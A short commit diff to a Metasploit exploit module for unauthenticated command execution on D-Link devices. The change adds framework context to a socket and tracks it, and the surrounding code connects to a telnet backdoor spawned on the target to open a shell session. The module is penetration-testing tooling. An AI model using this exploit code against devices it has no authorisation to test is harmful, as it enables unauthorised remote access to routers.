Add Context to rex sockets plus track them with add_socket

modules/exploits/linux/http/dlink_command_php_exec_noauth.rb

@@ -88,12 +88,15 @@ class Metasploit3 < Msf::Exploit::Remote
     request(cmd)
 
     print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
-    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
+    ctx = { 'Msf' => framework, 'MsfExploit' => self }
+    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx })
 
     if sock.nil?
       fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
     end
 
+    add_socket(sock)
+
     print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
     prompt = negotiate_telnet(sock)
     if prompt.nil?